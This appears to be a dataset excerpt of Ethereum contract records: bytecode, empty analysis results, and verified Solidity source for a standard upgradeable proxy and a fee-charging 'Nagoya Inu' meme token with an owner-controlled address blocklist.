ff1614151561096757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a6c57600080fd5b600360149054906101000a900460ff16151515610a8857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8d5780601f10610b6257610100808354040283529160200191610b8d565b820191906000526020600020905b815481529060010190602001808311610b7057829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610bb357600080fd5b610bbd8383611421565b905092915050565b6000600360149054906101000a900460ff16151515610be357600080fd5b610bed8383611640565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cd857600080fd5b610ce18161183c565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e1357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e6057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eeb57600080fd5b610f3c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fcf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112a1576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611335565b6112b4838261193890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561145e57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ab57600080fd5b6114fc826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116d182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561194657fe5b818303905092915050565b6000818301905082811015151561196457fe5b809050929150505600a165627a7a72305820dd5803797ecabb5e7e6208fc7ddfafc1b6d4c3067d19c95d2921449ca806cbaa0029
{"success": true, "error": null, "results": {}}
7,340
0x7dd08c5a4ce91cf862223330dd373e36fe94189b
/** *Submitted for verification at Etherscan.io on 2021-04-29 */ /** *Submitted for verification at Etherscan.io on 2021-04-10 */ /** *Submitted for verification at BscScan.com on 2021-03-08 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,341
0xeE1AfD6D210310EDfE688b2165Bf6950b36eE5C5
// NAGOYA INU (NAGOYA) new shining SHIBA INU. //Telegram: https://t.me/nagoyainutoken // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NagoyaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Nagoya Inu - t.me/nagoyainutoken"; string private constant _symbol = "NAGOYA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102eb578063a9059cbb1461031a578063c3c8cd801461033a578063d543dbeb1461034f578063dd62ed3e1461036f57600080fd5b80636fc3eaec1461027957806370a082311461028e578063715018a6146102ae5780638da5cb5b146102c357600080fd5b806323b872dd116100dc57806323b872dd146101e8578063293230b814610208578063313ce5671461021d5780635932ead1146102395780636b9990531461025957600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461019257806318160ddd146101c257600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118bf565b6103b5565b005b34801561014657600080fd5b506040805180820190915260208082527f4e61676f796120496e75202d20742e6d652f6e61676f7961696e75746f6b656e908201525b6040516101899190611a03565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611894565b610462565b6040519015158152602001610189565b3480156101ce57600080fd5b50683635c9adc5dea000005b604051908152602001610189565b3480156101f457600080fd5b506101b2610203366004611854565b610479565b34801561021457600080fd5b506101386104e2565b34801561022957600080fd5b5060405160098152602001610189565b34801561024557600080fd5b50610138610254366004611986565b6108a5565b34801561026557600080fd5b506101386102743660046117e4565b6108ed565b34801561028557600080fd5b50610138610938565b34801561029a57600080fd5b506101da6102a93660046117e4565b610965565b3480156102ba57600080fd5b50610138610987565b3480156102cf57600080fd5b506000546040516001600160a01b039091168152602001610189565b3480156102f757600080fd5b506040805180820190915260068152654e41474f594160d01b602082015261017c565b34801561032657600080fd5b506101b2610335366004611894565b6109fb565b34801561034657600080fd5b50610138610a08565b34801561035b57600080fd5b5061013861036a3660046119be565b610a3e565b34801561037b57600080fd5b506101da61038a36600461181c